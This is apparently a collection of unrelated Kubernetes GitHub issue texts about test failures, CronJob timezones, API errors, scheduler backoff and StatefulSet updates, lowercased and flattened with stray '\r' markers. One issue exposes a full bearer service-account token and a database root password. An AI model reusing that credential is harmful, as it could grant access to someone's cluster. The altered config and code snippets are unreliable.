https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-parallel/1910/  failed:  k8s.io  initcontainer should not start app containers and fail the pod if init containers fail on a restartnever pod {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/init_container.go:378 expected     < errors.errorstring | 0xc8202b9c60>: {         s: \ second init container should have reason podinitializing: api.containerstatus{name:\\\ init1\\\ , state:api.containerstate{waiting:  api.containerstatewaiting  0xc820a95400 , running:  api.containerstaterunning  nil , terminated:  api.containerstateterminated  nil }, lastterminationstate:api.containerstate{waiting:  api.containerstatewaiting  nil , running:  api.containerstaterunning  nil , terminated:  api.containerstateterminated  nil }, ready:false, restartcount:0, image:\\\ gcr.io/google_containers/busybox:1.24\\\ , imageid:\\\ \\\ , containerid:\\\ \\\ }\ ,     } to be nil /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/init_container.go:366       previous issues for this test:  32054

test failed in\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-cri/86\r \r this happened in the cri build, but that should be irrelevant. the os is gci.\r \r    \r i1117 05:20:32.267  nov 17 05:20:11.378: info: at 2016-11-17 05:12:40 -0800 pst - event for gluster-server: {default-scheduler } scheduled: successfully assigned gluster-server to bootstrap-e2e-minion-group-mswc\r i1117 05:20:32.267  nov 17 05:20:11.378: info: at 2016-11-17 05:12:40 -0800 pst - event for gluster-server: {kubelet bootstrap-e2e-minion-group-mswc} sandboxreceived: pod sandbox received, it will be created.\r i1117 05:20:32.267  nov 17 05:20:11.378: info: at 2016-11-17 05:12:41 -0800 pst - event for gluster-server: {kubelet bootstrap-e2e-minion-group-mswc} created: created container with id 24791abaab506804a3bd9670a754f74813605f08ce58335ffdca0e3eb4372a77\r i1117 05:20:32.267  nov 17 05:20:11.378: info: at 2016-11-17 05:12:41 -0800 pst - event for gluster-server: {kubelet bootstrap-e2e-minion-group-mswc} started: started container with id 24791abaab506804a3bd9670a754f74813605f08ce58335ffdca0e3eb4372a77\r i1117 05:20:32.268  nov 17 05:20:11.379: info: at 2016-11-17 05:12:41 -0800 pst - event for gluster-server: {kubelet bootstrap-e2e-minion-group-mswc} pulled: container image \ gcr.io/google_containers/volume-gluster:0.2\  already present on machine\r i1117 05:20:32.268  nov 17 05:20:11.379: info: at 2016-11-17 05:13:17 -0800 pst - event for gluster-client: {default-scheduler } scheduled: successfully assigned gluster-client to bootstrap-e2e-minion-group-mswc\r i1117 05:20:32.268  nov 17 05:20:11.379: info: at 2016-11-17 05:15:17 -0800 pst - event for gluster-client: {kubelet bootstrap-e2e-minion-group-mswc} failedsync: error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ gluster-client\ /\ e2e-tests-gcp-volume-xz4sp\ . list of unattached/unmounted volumes= gluster-volume \r i1117 05:20:32.268  nov 17 05:20:11.379: info: at 2016-11-17 05:15:17 -0800 pst - event for gluster-client: {kubelet bootstrap-e2e-minion-group-mswc} failedmount: unable to mount volumes for pod \ gluster-client_e2e-tests-gcp-volume-xz4sp 9a6898b0-acc7-11e6-9b26-42010af00002 \ : timeout expired waiting for volumes to attach/mount for pod \ gluster-client\ /\ e2e-tests-gcp-volume-xz4sp\ . list of unattached/unmounted volumes= gluster-volume \r

i couldn't find any discussion of this after searching for \ cron timezone\ , \ cronjob timezone\ , or \ scheduledjob timezone\ .\r \r the cronjob spec makes reference to https://en.wikipedia.org/wiki/cron. that page suggests that cron would respect the timezone for a given user. the controller manager runs in a single time zone under a single user so i can't use different time zones for each job. i have jobs that run based on the schedule of external entities that observe daylight savings time. so, if i define that cronjob in utc i will be forced to update that job from time to time  generally not something one remembers to do after just losing an hour of sleep .\r \r i see two options for how this support might work in kubernetes:\r \r 1. add some new field to the  cronjobspec , like  timezone: \ americas/chicago\  .\r 2. use an extended cron syntax that includes timezone, e.g.  30 6     1 europe/stockholm

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : \r \r  \r \r \r   what happened  : \r using https://github.com/azure/acs-engine/blob/master/examples/windows/kubernetes.json to generate and deploy. when adding a helloworld  https://kubernetes.io/docs/tutorials/stateless-application/expose-external-ip-address/  application and exposing it on the linux master node. i get the public ip but i keep getting \ err_connection_timed_out\  when trying to browse.  \r \r   what you expected to happen  :\r should be able to browse the newly created application.\r \r   how to reproduce it  as minimally and precisely as possible   :\r -populate the https://github.com/azure/acs-engine/blob/master/examples/windows/kubernetes.json.\r -generate using acs-engine.exe.\r -deploy using acs-engine.exe.\r -create an linux application and then expose it.  https://kubernetes.io/docs/tutorials/stateless-application/expose-external-ip-address/ \r -try to browse.\r \r   anything else we need to know?  :\r i have tried the following:\r - adding an agent pool with linux agents.\r -kubernetes versions 1.7.9, 1.9.1, 1.9.2 etc..\r -setup 7 clusters with different configurations.\r -exposing applications using the windows nodes works like a sharm.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversi\r on:\ go1.8.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.9\ , gitcommit:\ 19fe91923d584c30bd6db5c5a21e9f0d5f742de8\ , gittreestate:\ clean\ , builddate:\ 2017-10-19t16:55:06z\ , goversi\r on:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r azure\r - os  e.g. from /etc/os-release :\r \r - kernel  e.g.  uname -a  :\r - install tools:\r acs-engine.exe.  v0.13.0 also tried with v0.12.5 \r - others:\r

 \r pod  frequent create and delete by daemonset controller when kube-apiserver enabled podnodeselector admission controll. when the daemonset's nodeselector not cover the nodeselector configured in podnodeselector adminssion controll, the schedule of daemonset pods will conflict with the podnodeselector adminssion controll. is daemonset controller should cover this case?\r \r \r

 \r   what happened  :\r \r received the following http 415 response:\r    \r       statuscodeexception \r           response \r             { responsestatus = status \r                 { statuscode = 415\r                 , statusmessage = \ unsupported media type\ \r                 } \r             , responseversion = http/1.1\r             , responseheaders = \r                   \r                       \ content-type\ \r                     , \ application/json\ \r                       \r                 , \r                       \ date\ \r                     , \ tue, 13 mar 2018 11:34:20 gmt\ \r                       \r                 , \r                       \ content-length\ \r                     , \ 187\ \r                       \r                   \r             , responsebody =   \r             , responsecookiejar = cj { expose =    }\r             , responseclose' = responseclose\r             } \r           \ {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ the server responded with the status code 415 but did not return more information\ ,\ details\ :{},\ code\ :415}\r \ \r      \r    \r \r   what you expected to happen  :\r \r for the deployment to be patched and a successful http 200 response.\r \r how to reproduce it  as minimally and precisely as possible :\r  i'm aware of the auth key present - it's just for development purposes \r    \r url: /apis/apps/v1/namespaces/diyclientapps/deployments/testingchris4\r method: patch\r headers:   \ content-type\ ,\ application/json\  , \ authorization\ ,\ bearer eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijkzwzhdwx0iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9zzwnyzxqubmftzsi6imrlzmf1bhqtdg9rzw4tzg1soduilcjrdwjlcm5ldgvzlmlvl3nlcnzpy2vhy2nvdw50l3nlcnzpy2utywnjb3vudc5uyw1lijoizgvmyxvsdcisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vydmljzs1hy2nvdw50lnvpzci6ijaynmu5yju0lti1zjetmtfloc1inzi3lta4mdayn2i2zdyyocisinn1yii6inn5c3rlbtpzzxj2awnlywnjb3vuddpkzwzhdwx0omrlzmf1bhqifq.gxmzwzcne9xq6mtmulo9knkyu6xoq0n7bnmbbuy2hzamik7z5xdtvqrpdj8ncissfa1au5sxoyklelu3zu798t5miz_rlm3ays8t9-u3q1p4ndusw-s7l9rb9dxbz1yarocr04imqtl3ixwkqrmpe_ha_kxww44yc4zo3ufd5sn6wtzg88xm_ast_u8drya8xxpeulvmxrrp_u1dfnf7ctlwuvead5xkb6pgg70jzz3hp0bkegzx3qp1y-nwtzrcyejwmqupwjg57xsrfzplqei23keb720y1wflcs6qchupte0w9u_gjz2iiqckjzsxtyvoxoj6s4z569feoqessa\  , \ user-agent\ ,\ haskell wreq-0.5.1.0\   \r body: \ {\\\ apiversion\\\ :\\\ apps/v1\\\ ,\\\ kind\\\ :\\\ deployment\\\ ,\\\ spec\\\ :{\\\ selector\\\ :{\\\ matchlabels\\\ :{\\\ appid\\\ :\\\ testingchris4\\\ }},\\\ template\\\ :{\\\ spec\\\ :{\\\ containers\\\ : {\\\ image\\\ :\\\ diyapploopback2:latest\\\ ,\\\ imagepullpolicy\\\ :\\\ never\\\ ,\\\ resources\\\ :{\\\ limits\\\ :{\\\ memory\\\ :\\\ 256mi\\\ ,\\\ cpu\\\ :\\\ 500m\\\ },\\\ requests\\\ :{\\\ memory\\\ :\\\ 128mi\\\ ,\\\ cpu\\\ :\\\ 250m\\\ }},\\\ name\\\ :\\\ nginx\\\ ,\\\ ports\\\ : {\\\ containerport\\\ :3000} },{\\\ image\\\ :\\\ mariadb:10.3\\\ ,\\\ env\\\ : {\\\ value\\\ :\\\ passwordtempxyz\\\ ,\\\ name\\\ :\\\ mysql_root_password\\\ } ,\\\ volumemounts\\\ : {\\\ name\\\ :\\\ mysql-persistent-storage\\\ ,\\\ mountpath\\\ :\\\ /var/lib/mysql\\\ } ,\\\ resources\\\ :{\\\ limits\\\ :{\\\ memory\\\ :\\\ 128mi\\\ ,\\\ cpu\\\ :\\\ 500m\\\ },\\\ requests\\\ :{\\\ memory\\\ :\\\ 128mi\\\ ,\\\ cpu\\\ :\\\ 250m\\\ }},\\\ name\\\ :\\\ mariadb\\\ } ,\\\ volumes\\\ : {\\\ persistentvolumeclaim\\\ :{\\\ claimname\\\ :\\\ testingchris4\\\ },\\\ name\\\ :\\\ mysql-persistent-storage\\\ } },\\\ metadata\\\ :{\\\ labels\\\ :{\\\ appid\\\ :\\\ testingchris4\\\ }}},\\\ replicas\\\ :1},\\\ metadata\\\ :{\\\ name\\\ :\\\ testingchris4\\\ ,\\\ labels\\\ :{\\\ appid\\\ :\\\ testingchris4\\\ }}}\ \r \r    \r \r   environment  : linux / haskell / http api\r - kubernetes version  use  kubectl version  :\r - os  e.g. from /etc/os-release : arch linux\r - kernel  e.g.  uname -a  : linux archamd 4.14.24-1-lts  1 smp tue mar 6 17:05:53 cet 2018 x86_64 gnu/linux\r

failing job\r      sig-release-master-blocking : gci-gce-serial  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-serial \r \r    failing test\r      subpath  volume type: gcepdpvc  should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/3306 \r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?date=2018-04-16&sig=storage&test=%20should%20unmount%20if%20pod%20is%20gracefully%20deleted%20while%20kubelet%20is%20down\r \r has been consistently failing since 4/6.  commit changes  https://github.com/kubernetes/kubernetes/compare/d4ded15f8...8eb156fe6 \r \r \r @saad-ali can you please help triage?\r \r  / /  /milestone 1.11\r @kubernetes/sig-storage-bugs \r \r cc @jberkus @tpepper\r \r /assign @saad-ali

\r \r     \r \r \r   what happened  :\r we deployed k8s on aws with m4.large as vm type.\r we ran  netperf test  https://github.com/kubernetes/perf-tests/tree/master/network/benchmarks/netperf  on kubernetes cluster nodes and also on bare metal ec2  instances. both results have the same bandwidth of 536mbits/sec for mss of 1440.\r \r \r   what you expected to happen  :\r      since kubernetes should bring some overhead on vms, the bandwidth should be lesser than  the bare-metal vms . but its not happening so. \r \r \r   environment  :\r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos\r \r

is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r with the recent change to the way admission control plugins are handled the generated documentation doesn't provide a list of plugins that are enabled:\r    \r --enable-admission-plugins stringslice\r admission plugins that should be enabled in addition to default enabled ones. comma-delimited list of admission plugins: alwaysadmit, alwaysdeny, alwayspullimages, defaultstorageclass, defaulttolerationseconds, denyescalatingexec, denyexeconprivileged, eventratelimit, extendedresourcetoleration, imagepolicywebhook, initializers, limitpodhardantiaffinitytopology, limitranger, mutatingadmissionwebhook, namespaceautoprovision, namespaceexists, namespacelifecycle, noderestriction, ownerreferencespermissionenforcement, persistentvolumeclaimresize, persistentvolumelabel, podnodeselector, podpreset, podsecuritypolicy, podtolerationrestriction, priority, resourcequota, securitycontextdeny, serviceaccount, storageobjectinuseprotection, validatingadmissionwebhook. the order of plugins in this flag does not matter.\r    \r ref: https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/\r \r   what you expected to happen  :\r i expected to be able to determine what admission plugins are enabled on the apiserver.\r with the default enabled plugins enumerated i can determine that by evaluating the list against the explicitly  enabled  and  disabled  and  default enabled  admission control plugins.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

>  \r   what happened  :\r \r in kubernetes 1.11.2 patching a status subresource of a custom object with a body that effectively does nothing increases the resource version of the object and triggers modify events.\r \r in kubernetes 1.10.6 with the custom object subresources feature gate enabled this did not happen.\r \r maybe this is an intentional change due to the custom object subresources becoming beta, but i did not find this documented and it also does not not happen when patching the status of non custom objects  e.g. services  which is odd.\r \r   what you expected to happen  :\r applying a patch that does not change the resource the object resource version should not change and no modify event be triggered.\r \r   how to reproduce it  as minimally and precisely as possible   :\r executing a merge patch  application/merge-patch+json  against a custom object changing the status multiple times will increase the resource version each time even when the object does not change.\r e.g. via the python client:\r api.patch_namespaced_custom_object_status group=group, version=version, plural=resource_name, namespace=namespace, name=object, body={\ status\ : {\ test\ : \ data\ }} \r \r   anything else we need to know?  :\r \r   environment  :\r kubernetes version:\r    \r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r workqueue metrics that follow prometheus best practices and naming conventions. so instead of naming metrics based on the name of the workqueue, create metrics for workqueues that use name as a label. also use the recommended base units\r \r currently:\r     daemonset_depth   gauge\r     daemonset_queue_latency   summary  in milliseconds \r     daemonset_retries   counter\r     daemonset_work_duration   summary  in milliseconds \r \r proposal:\r     workqueue_depth   gauge name=\ deployment|daemonset|job..\ \r     workqueue_queue_latency_seconds   summary name=\ deployment|daemonset|job..\   in seconds \r     workqueue_retries_total   counter name=\ deployment|daemonset|job..\ \r     workqueue_work_duration_seconds   summary name=\ deployment|daemonset|job..\   in seconds \r \r \r   why is this needed  :\r controllers currently expose prometheus metrics for workqueues. unfortunately the naming and the use of labels do not line up well with the prometheus recommendations. this leads to several metrics per named workqueue instead of a small number metrics where the name is used as a label. also, the metrics does not use the recommended base units.\r \r this change will allow for easier scraping of metrics, avoid large number of similarly named metrics and easier aggregation of metrics across different workqueues. the risk with this change is that the current metrics has been in kubernetes for many releases and there might be users and tooling that depend on the current naming.\r \r <!-- do not edit below this line -->\r   /cc @loburm @kow3ns

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i configured kubelet to run as a service on windows, with a setting to restart on failure   sc.exe failure kubelet reset= 0 actions= restart/10000  . i noticed that it restarts even when i explicitly stop the service with  sc.exe stop kubelet , even though the  failureflag  documentation states the following  i left it at  0 , the default :\r    \r changes the failure actions flag setting of a service. if this setting is 0  default , the service control manager\r  scm  enables configured failure actions on the service only if the service process terminates with the service in\r a state other than service_stopped. if this setting is 1, the scm enables configured failure actions on the service if the service enters the service_stopped state with a win32 exit code other than 0 in addition to the service process termination as above. this setting is ignored if the service does not have any failure actions configured.\r    \r \r   what you expected to happen  :\r i expected the kubelet to only restart when killed unexpectedly, per above docs.\r \r   anything else we need to know?  :\r i think the problem might be due to this part of our service control integration, but i'm not really sure: https://github.com/kubernetes/kubernetes/blob/master/pkg/windows/service/service.go l85\r it looks like we send  svc.stopped  and then  os.exit 0  , but the official golang example sends  svc.stoppending  and just returns without exiting.  https://github.com/golang/sys/blob/master/windows/svc/example/service.go l57 . is this difference meaningful?\r \r - kubernetes version  use  kubectl version  : 1.13.2\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : windows\r \r /cc @patricklang @kubernetes/sig-windows-bugs \r  

what would you like to be added  :\r kubernetes scheduling queue is comprised of three sub-queues:\r 1. unschedulableq: is used to hold pods that are unschedulable\r 2. activeq: is used to hold pods that should be attempted by the scheduler. this is a heap. a pod with the highest  at the head of this queue. ties are broken by last schedule timestamp.\r 3. podbackoffq: similar to activeq, this queue is used to hold pods that should be attempted, but they have been attempted more than once by the scheduler in short past and they are not subject to back off. this queue prevents an unschedulable high  from hugging the head of the scheduling queue. once a pod waits for the specified amount of time in this queue, it is transferred to the activeq.\r \r the amount of time that a pod should wait in the podbackoffq starts at 1 second and is doubled every time the pod is determined unschedulable, up to 10 seconds. the scheduler uses a separate utility called  podbackoff  https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/util/backoff_utils.go  to track the amount of time a pod must wait in the podbackoffq. with new enhancement to the scheduling queue, this utility is not necessary any more. currently, the scheduling queue knows the timestamp that a pod is added to the scheduling queue. if we add a structure  map  to track the number of scheduling attempts for pods, we can easily compute the time when an unschedulable pod is in the podbackoffq should be attempted again without the need for the backoff util. the new map can be cleaned up when a pod is scheduled or when a pod is not seen for a certain amount of time. time based cleanup is more reliable as it covers pods deletion, updates, etc as well.\r as a positive side effect of this change, we can have a metric for how many scheduling attempts it took for a pod to be scheduled.\r \r   why is this needed  :\r simplify backoff mechanism. \r \r   \r cc/ @misterikkit

when i use kubeadm to create k8s cluster,it report:\r \r w0410 09:21:51.963920   26052 strict.go:54  error unmarshaling configuration schema.groupversionkind{group:\ kubeadm.k8s.io\ , version:\ v1beta1\ , kind:\ clusterconfiguration\ }: error unmarshaling json: while decoding json: json: unknown field \ apiservercertsans\ \r \r config file content:\r \r apiversion: kubeadm.k8s.io/v1beta1\r kind: clusterconfiguration\r kubernetesversion: v1.14.0\r controlplaneendpoint: 106.14.181.102:8443\r imagerepository: registry.cn-hangzhou.aliyuncs.com/google_containers\r networking:\r   podsubnet: 10.244.0.0/16\r apiservercertsans:\r - 192.168.11.190\r - 192.168.11.191\r - 192.168.11.192

i'd like to propose one use case and two issues, which i think are a little different from https://github.com/googlecloudplatform/kubernetes/issues/831.       use case: a java dev workflow      java code ---> git repo ---> app docker image  a war, nothing more ---> registry  web server docker image  a standard tomcat image  ---> registry      deploy:  a pod.yaml with two containers,:      apiversion: v1beta3 kind: pod metadata:   name: app spec:   containers:   - image: tomcat:latest     name: tomcat     volumemounts:     - mountpath: /home       name: test-volume   - image: app:latest     name: war     command:  \ sh\ , \ -c\ , \ cp /app/myapp.war /work\       volumemounts:     - mountpath: /work       name: test-volume   volumes:   - name: test-volume   restartpolicy: onfailure   have to, but i really want to set always for  tomcat  and onfailture for  war       it works ok, tomcat can load war from /work dir, but the   only concern   is that we need to make tomcat container starts after app finish  cp .                      so, this is about two issues:        container dependency    there're many other cases users want to guarantee container a starts before b in a pod. see  1996.  _why not git volume?_ nobody stores everything in a git repo, and the file may also be generated by b. _why not other type of distributed fs volume?_ we don't want to maintain nfs server or other kinds, because we don't want to maintain folders and directories with unique names in case of conflicts.  two dependency types:   soft  : just create & start the containers defined in pod one by one, the order is just the same as it is in listed pod.yaml   hard  : b will wait until a 's state become  ok    it's a signal defined by user, like running, better work with container handler   definitely, we can also integrate them into one rule: start by order, and start the next when meeting a handler defined rule.  we should implement soft order at least   map  in golang is not order promised i believe , for the use case above, it's enough.        volumes-from    yes, this feature will make things much easier, we don't need use  empty_dir  anymore. a and b should always be in the same pod, and that's also volumes-from want to see.  we also need to make sure the order of containers, which can be exactly the same as    container dependency   part says.  we can use  empty_dir  to imitate volumes-from, see https://github.com/kubernetes/kubernetes/issues/12526 issuecomment-130540796      in one word  instead of container type volume, i think the native  volumes-from  of docker is much better. it will solve a tricky problem for all:  \ should i package my war in the image or use it as a volume?\   that's where pod can play better!

why persistent volume configuration doesn't define a 'spec.type' key, which would contain the specific config values of the pv type. including the actual type of the volume as a value of some key. similarly to an example:        apiversion: v1   kind: persistentvolume   spec:     type:       volumetype: nfs       path: /tmp       server: 172.17.0.2     capacity:       storage: 5gi     accessmodes:       - readwriteonce     persistentvolumereclaimpolicy: recycle      currently the pv configuration defines a key for  every possible type  https://github.com/kubernetes/kubernetes/blob/v1.2.0-alpha.2/docs/user-guide/volumes.md types-of-volumes , like this:        apiversion: v1   kind: persistentvolume   spec:     nfs:       path: /tmp       server: 172.17.0.2     capacity:       storage: 5gi     accessmodes:       - readwriteonce     persistentvolumereclaimpolicy: recycle

kubernetes version    use  kubectl version  :\r 1.4.6\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : kops debian jessie\r -   kernel    e.g.  uname -a  : 4.4.26-k8s  1 smp fri oct 21 05:21:13 utc 2016 x86_64 gnu/linux\r -   install tools  : kops\r \r \r   what happened  :\r after months of running a 3-master kops ha setup, one of the masters seemed to take an increased load on the cpu. at the same time, another node had a proportional decrease.\r \r ! screenshot 2017-02-21 15 21 00  https://cloud.githubusercontent.com/assets/12174604/23191235/97244806-f86a-11e6-9346-3d763377d89d.png \r \r skimming the logs, it did seem that kube-apiserver was much more noisy on the node with heavier cpu load -- in fact, the others were handling some information for daemonsets like datadog, but none of my actual services  30+ .\r \r i checked the pods and nothing was overloaded on that instance -- after trying to individually delete each  kube-system  pod, i tried terminating each master individually. once it all settled, the problem appeared to persist.\r \r ! screenshot 2017-02-21 17 27 42  https://cloud.githubusercontent.com/assets/12174604/23191281/d43b4212-f86a-11e6-969c-ddd2bcb4b303.png \r \r since the cpu isn't capped at 100%, i figured i could just scale out of this for now. so i bumped the masters from m4.large to m4.xlarge and things are about half  percent-wise  of the screenshots above, which is what you'd expect. so in terms of pegging the cpu, i'm in the clear but the usage is still much higher than it was for the past 6 months.\r \r   what you expected to happen  :\r load on the masters should not end up in a 80/15/5 distribution, especially suddenly with an unknown cause.\r \r   how to reproduce it    as minimally and precisely as possible :\r not a clue : \r \r   anything else we need to know  :\r this cluster has been running for 6 months and gets regular updates, though no updates happened today. in fact, no real changes aside from standard deployments that happen many times per day were going on when this happened.\r \r i have a total of 4 environments but this is the only one to have the problem. the others are already on m4.xlarge masters though.\r \r @justinsb opened kubernetes/kops/issues/1965 in case that's an issue but i doubt that is what's going on here since the first graph shows things were more distributed before the unknown event happened.\r

this test just started running on 1.5 for gke, and has not had any passing runs: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-staging/2476\r \r from  37791 it sounds like this one is obsolete and should not be run at all, so maybe this is tests being misconfigured? the nfsv4 test is passing. see https://k8s-testgrid.appspot.com/google-gke-staging gci-gke-staging

currently, does not appear possible to provide zero-downtime updates to stateful deployments or statefulsets.\r \r for   statefulsets  , it looks like most users are deploying third-party stateful applications rather than frequently-updated internal applications.  this could explain the lack of functionality here.  how i imagine this could work is:\r      something akin to  maxunavailable: 0  could be provided for the statefulset.  during a statefulset update, new pods would start up and wait until health checks have passed until old pods were terminated.  additionally, all new pods  e.g.  web-0_new ,  web-1_new ,  web-2_new   for a given statefulset would schedule to the nodes where existing pods are running, so that the underlying volumes wouldn't have to be detached  leading to downtime .\r \r for   deployments  , some mechanism for allowing pod updates to always schedule to the same nodes, and attach to the same volumes, should be provided.  currently, a deployment update will schedule pod updates pretty much anywhere, meaning that the deployment will either hang indefinitely with no update  if  maxunavailable: 0  , or require downtime as volumes must be reattached between nodes.\r \r ---\r note that pod label affinity-based scheduling does  not  really work for this use case right now.  if  preferred  scheduling for a label  e.g.  db1   is specified, then the scheduler may throw the replacement pod elsewhere if it feels like it.  if  required  scheduling is specified, then it is impossible to do the initial deployment of the pods, as they aren't present on any nodes.  so the only available option is to hardcode e.g. the node hostname, which is the same option provided by e.g. local persistent volumes.  static node specification creates a number of maintenance problems as the cluster changes.\r \r current workarounds include:\r \r      writing  or likely, rewriting  the stateful bits of your application in a multi-master manner.\r \r      for deployments, one can take advantage of the multiple-pods-can-rwo-to-pvc behavior of the \ bug\  described in  26567, set  strategy.rollingupdate.maxunavailable: 0  in the deployment, and then use a custom scheduler, e.g. https://github.com/philipn/kubernetes-sticky-node-scheduler to ensure that all variants of a given pod land on the same node.\r \r      there appears to be no workaround for statefulsets.\r \r see also  26567.\r \r ---\r \r if other folks are doing zero-downtime updates of stateful applications, i'd love to hear your workarounds / approaches!\r \r ----\r 

 \r   what happened  :\r \r while trying to achieve zero downtime the current practice seem to be adding a prestop sleep hook  see https://github.com/kubernetes/ingress/issues/322 & https://github.com/kubernetes/kubernetes/issues/43576  to prevent pods being terminated before their endpoints have been removed. this works well except for when it's combined with a loadbalancer with the  service.beta.kubernetes.io/external-traffic: onlylocal  annotation.\r \r   what you expected to happen  :\r \r doing a rolling update of the ingress or draining a node should not cause timeouts.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r a minimal setup would be something like an ingress-controller and a backend deployment, both on at least 2 replicas and a prestop hook executing a small sleep. poddisruptionbudgets with  minavailable: 1 . and finally a loadbalancer service.\r \r execute some form of stress test while you drain a node which hosts an ingress-controller and there shouldn't be any disruptions.\r \r now add the  onlylocal  annotation and repeat the test. timeouts occur.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.6.4\r - cloud provider or hardware configuration  : azure\r - os  e.g. from /etc/os-release : coreos 1465.6.0\r - kernel  e.g.  uname -a  : 4.12.7-coreos\r

pointer usage in strategic merge patch test looks like a bug.\r \r the type defined in  patch_test.go  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/util/strategicpatch/patch_test.go l96  is a pointer that has patch metadata.\r \r it has some usage. e.g. in https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/util/strategicpatch/patch_test.go l237-l270\r more tests using it can be found by searching  mergeitemptr  in  patch_test.go  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/util/strategicpatch/patch_test.go \r \r this change is initially introduced in https://github.com/kubernetes/kubernetes/pull/9806/files.\r \r i want to understand if this a bug or some magic.\r \r cc: @liggitt @apelisse \r \r also cc: original pr reviewer and author: @ghodss @mikedanese @manansaraf\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r occasionally our nodes stop reporting their status to apiserver, and get marked as notready. however, they remain connected to the apiserver and receive the update to delete all their pods - which they do.\r \r    \r   outofdisk \t\tunknown \tthu, 28 sep 2017 07:55:44 +0000 \tthu, 28 sep 2017 07:57:04 +0000 \tnodestatusunknown \tkubelet stopped posting node status.\r   memorypressure \tunknown \tthu, 28 sep 2017 07:55:44 +0000 \tthu, 28 sep 2017 07:57:04 +0000 \tnodestatusunknown \tkubelet stopped posting node status.\r   diskpressure \t\tunknown \tthu, 28 sep 2017 07:55:44 +0000 \tthu, 28 sep 2017 07:57:04 +0000 \tnodestatusunknown \tkubelet stopped posting node status.\r   ready \t\tunknown \tthu, 28 sep 2017 07:55:44 +0000 \tthu, 28 sep 2017 07:57:04 +0000 \tnodestatusunknown \tkubelet stopped posting node status.\r   kerneldeadlock \tfalse \t\tthu, 28 sep 2017 07:58:38 +0000 \twed, 27 sep 2017 08:44:28 +0000 \tkernelhasnodeadlock \tkernel has no deadlock\r    \r \r in this example, the node last reported at 7:55:44.\r \r this always seems to happen after i see these sort of log messages:\r    \r sep 28 07:57:54 ip-10-50-97-190 start-kubelet.sh 1748 : e0928 07:57:54.064121    1748 remote_runtime.go:163  listpodsandbox with filter \ nil\  from runtime service failed: rpc error: code = 4 desc = context deadline exceeded\r sep 28 07:57:54 ip-10-50-97-190 start-kubelet.sh 1748 : e0928 07:57:54.064194    1748 kuberuntime_sandbox.go:185  listpodsandbox failed: rpc error: code = 4 desc = context deadline exceeded\r sep 28 07:57:54 ip-10-50-97-190 start-kubelet.sh 1748 : e0928 07:57:54.064209    1748 generic.go:198  genericpleg: unable to retrieve pods: rpc error: code = 4 desc = context deadline exceeded\r sep 28 07:57:54 ip-10-50-97-190 start-kubelet.sh 1748 : e0928 07:57:54.081115    1748 remote_runtime.go:163  listpodsandbox with filter \ 